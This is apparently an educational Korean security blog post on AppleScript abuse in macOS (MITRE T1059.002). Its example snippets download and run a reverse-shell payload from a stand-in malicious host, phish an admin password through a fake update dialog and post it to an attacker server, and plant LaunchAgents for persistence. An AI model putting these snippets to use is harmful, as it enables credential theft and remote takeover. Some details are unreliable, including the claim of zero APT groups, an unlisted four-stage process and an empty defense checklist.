COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
macOS AppleScript는 시스템 이벤트, 키 입력, 파일 접근을 자동화한다. 공격자가 이 기능을 악용하면 사용자 동의 팝업 1개로 전체 접근권을 획득한다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE ATT&CK 프레임워크에서 T1059.002는 AppleScript를 악용하는 공격 기법으로, 2019년부터 현재까지 0개 APT 그룹과 악성코드 패밀리에서 활용되고 있다. macOS 사용자 비율은 전 세계적으로 15%에 불과하다. 그럼에도 이 기법이 악용되는 이유는 AppleScript의 강력한 시스템 제어 능력과 탐지 회피 특성 때문이다.
macOS가 등장하기 전, Mac 사용자들은 반복적인 작업을 자동화하기 위해 복잡한 프로그래밍 지식이 필요했다. 파일 복사, 애플리케이션 실행, 시스템 설정 변경 같은 단순한 작업도 각각 별도의 도구나 명령어를 익혀야 했다. 더 큰 문제는 서로 다른 애플리케이션 간의 데이터 교환이나 연동 작업이 거의 불가능했다는 점이다.
이런 한계를 해결하기 위해 Apple은 1993년 AppleScript를 도입했다. AppleScript는 일반 사용자도 쉽게 배울 수 있는 자연어에 가까운 문법으로 macOS 시스템과 애플리케이션을 제어할 수 있게 만든 스크립팅 언어이다.
AppleScript는 macOS 시스템과 애플리케이션을 Apple Events를 통해 제어하는 자연어 기반 스크립팅 언어이다.
AppleScript는 macOS 스크립팅 언어로 애플리케이션과 OS의 일부를 inter-application messages 호출인 AppleEvents를 통해 제어하도록 설계되었습니다. — MITRE ATT&CK T1059.002
AppleScript의 핵심 구성 요소는 다음과 같다:
| 용어 | 설명 |
|---|---|
| AppleScript | 역할: macOS 스크립팅 언어 / 실행 방식: osascript, GUI 앱 / 권한 수준: 사용자 권한 |
| Shell Script | 역할: Unix 명령어 스크립트 / 실행 방식: bash, zsh / 권한 수준: 사용자/root 권한 |
| Automator | 역할: GUI 기반 워크플로우 / 실행 방식: 드래그앤드롭 / 권한 수준: 사용자 권한 |
| Python Script | 역할: 범용 프로그래밍 언어 / 실행 방식: python 인터프리터 / 권한 수준: 사용자/root 권한 |
| JavaScript for Automation | 역할: AppleScript 대안 / 실행 방식: osascript -l JavaScript / 권한 수준: 사용자 권한 |
AppleScript의 동작 과정은 크게 4단계로 나뉜다.
AppleScript는 여러 방식으로 실행된다:
# 명령줄에서 직접 실행
osascript -e "display dialog \"Hello World\""
# 파일로 저장된 스크립트 실행
osascript /path/to/script.scpt
# 셸 스크립트 형태로 실행
#!/usr/bin/osascript
display dialog "Hello from script"
AppleScript 명령어는 Apple Events로 변환된다. 예를 들어 다음 코드는:
tell application "Finder"
set desktop_files to every file of desktop
return name of desktop_files
end tell
내부적으로는 다음과 같은 Apple Event로 변환된다:
-- Finder 애플리케이션에 'core/getd' 이벤트 전송
-- 대상: desktop folder
-- 요청: file objects의 name property
Apple Events는 macOS의 핵심 IPC(Inter-Process Communication) 메커니즘이다. 이는 놀이공원의 직원들이 무전기로 소통하는 것과 비슷한다. 각 애플리케이션은 고유한 "채널"을 가지고 있고, AppleScript는 이 채널을 통해 명령을 전달한다.
-- Safari에게 새 탭 열기 명령
tell application "Safari"
make new tab at end of tabs of window 1
set URL of current tab of window 1 to "https://example.com"
end tell
macOS 10.10 Yosemite 이상에서 AppleScript는 Native APIs를 실행할 수 있으므로 mach-O 바이너리 파일 형식으로 컴파일 및 실행해야 하는 것들을 실행할 수 있습니다. — MITRE ATT&CK T1059.002
이는 AppleScript가 단순한 스크립팅 언어를 넘어 시스템 레벨 작업도 수행할 수 있음을 의미한다:
-- Objective-C 프레임워크 직접 호출
use framework "Foundation"
use framework "AppKit"
set alert to current application's NSAlert's alloc()'s init()
alert's setMessageText("System Alert")
alert's runModal()
AppleScript는 다양한 컨텍스트에서 실행된다:
-- Mail.app 규칙에서 자동 실행
-- Calendar.app 알람에서 실행
-- Automator 워크플로우 내에서 실행
-- 로그인 아이템으로 시스템 시작 시 실행
각각의 실행 컨텍스트는 서로 다른 권한과 접근성을 가지며, 이는 공격자가 악용할 수 있는 다양한 진입점을 제공한다.
공격자들이 AppleScript를 선호하는 이유는 명확한다. 정상적인 시스템 도구이면서도 강력한 권한을 가지고 있어, 악성 행위를 정당한 자동화 작업으로 위장할 수 있기 때문이다.
1. 정상 도구 악용 (Living off the Land)
AppleScript는 macOS에 기본 설치된 정당한 도구이다. 따라서 보안 솔루션들이 이를 악성으로 판단하기 어렵다:
-- 겉보기엔 정상적인 시스템 정보 수집
tell application "System Information"
set system_info to system profile
end tell
-- 실제로는 시스템 정찰 수행
do shell script "system_profiler SPHardwareDataType | grep 'Serial Number'"
2. 다단계 공격 체인 구성
공격자는 AppleScript를 통해 다른 스크립팅 언어를 호출하여 복잡한 공격 체인을 만듭니다:
-- 1단계: Python 스크립트 다운로드
do shell script "curl -s https://malicious-site.com/payload.py -o /tmp/update.py"
-- 2단계: Python으로 reverse shell 실행
do shell script "python3 /tmp/update.py &"
-- 3단계: 흔적 제거
do shell script "rm /tmp/update.py"
3. 사용자 인터랙션 조작
AppleScript는 GUI 요소를 직접 제어할 수 있어, 사용자를 속여 민감한 정보를 입력하게 만들 수 있다:
-- 가짜 시스템 업데이트 대화상자
display dialog "시스템 업데이트를 위해 관리자 비밀번호가 필요합니다." ¬
default answer "" ¬
with title "macOS 업데이트" ¬
with icon caution ¬
hidden answer true
-- 입력된 비밀번호를 외부로 전송
set user_password to text returned of result
do shell script "curl -X POST -d 'pwd=" & user_password & "' https://attacker-server.com/collect"
탐지 회피 기법들:
-- 정상 앱으로 위장한 악성 스크립트
tell application "System Preferences"
-- 실제로는 시스템 설정을 변경하지 않음
end tell
-- 백그라운드에서 실제 악성 행위 수행
do shell script "launchctl load /Library/LaunchAgents/com.fake-app.plist" with administrator privileges
AppleScript는 사용자 권한으로 실행되지만, 다양한 방법으로 권한을 상승시킬 수 있다:
-- 관리자 권한 요구 (사용자에게 자연스럽게 보임)
do shell script "mkdir /Library/Application\\ Support/UpdateAgent" with administrator privileges
-- 시스템 시작 시 자동 실행되는 LaunchAgent 설치
do shell script "cp /tmp/malicious.plist /Library/LaunchAgents/" with administrator privileges
탐지 및 모니터링:
osascript 및 NSAppleScript, OSAScript APIs의 실행을 모니터링하되, 시스템에서 발생하는 다른 의심 행동과 관련될 수 있는지 확인해야 합니다. — MITRE ATT&CK T1059.002
방어 체크리스트:
T1059.002 AppleScript 악용 기법은 macOS의 강력한 자동화 기능을 악성 목적으로 전용하는 공격이다. 정상적인 시스템 도구를 사용하면서도 광범위한 시스템 제어가 가능하다는 점에서, 공격자들에게 매력적인 선택지가 되고 있다.
이 기법과 관련하여 T1059 스크립트 기반 공격: APT 그룹이 선택한 실행 기법의 원리에서 다른 스크립팅 언어 악용 기법들과의 비교를 확인할 수 있으며, T1562 방어 무력화: APT 그룹이 EDR을 끄는 13가지 기술 원리에서는 AppleScript가 보안 도구를 우회하는 방법을 살펴볼 수 있다.
다음에는 T1059.003 Windows Command Shell 악용 기법과 T1059.004 Unix Shell 공격 기법을 통해 다른 플랫폼에서의 스크립트 기반 공격 양상을 알아보겠다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.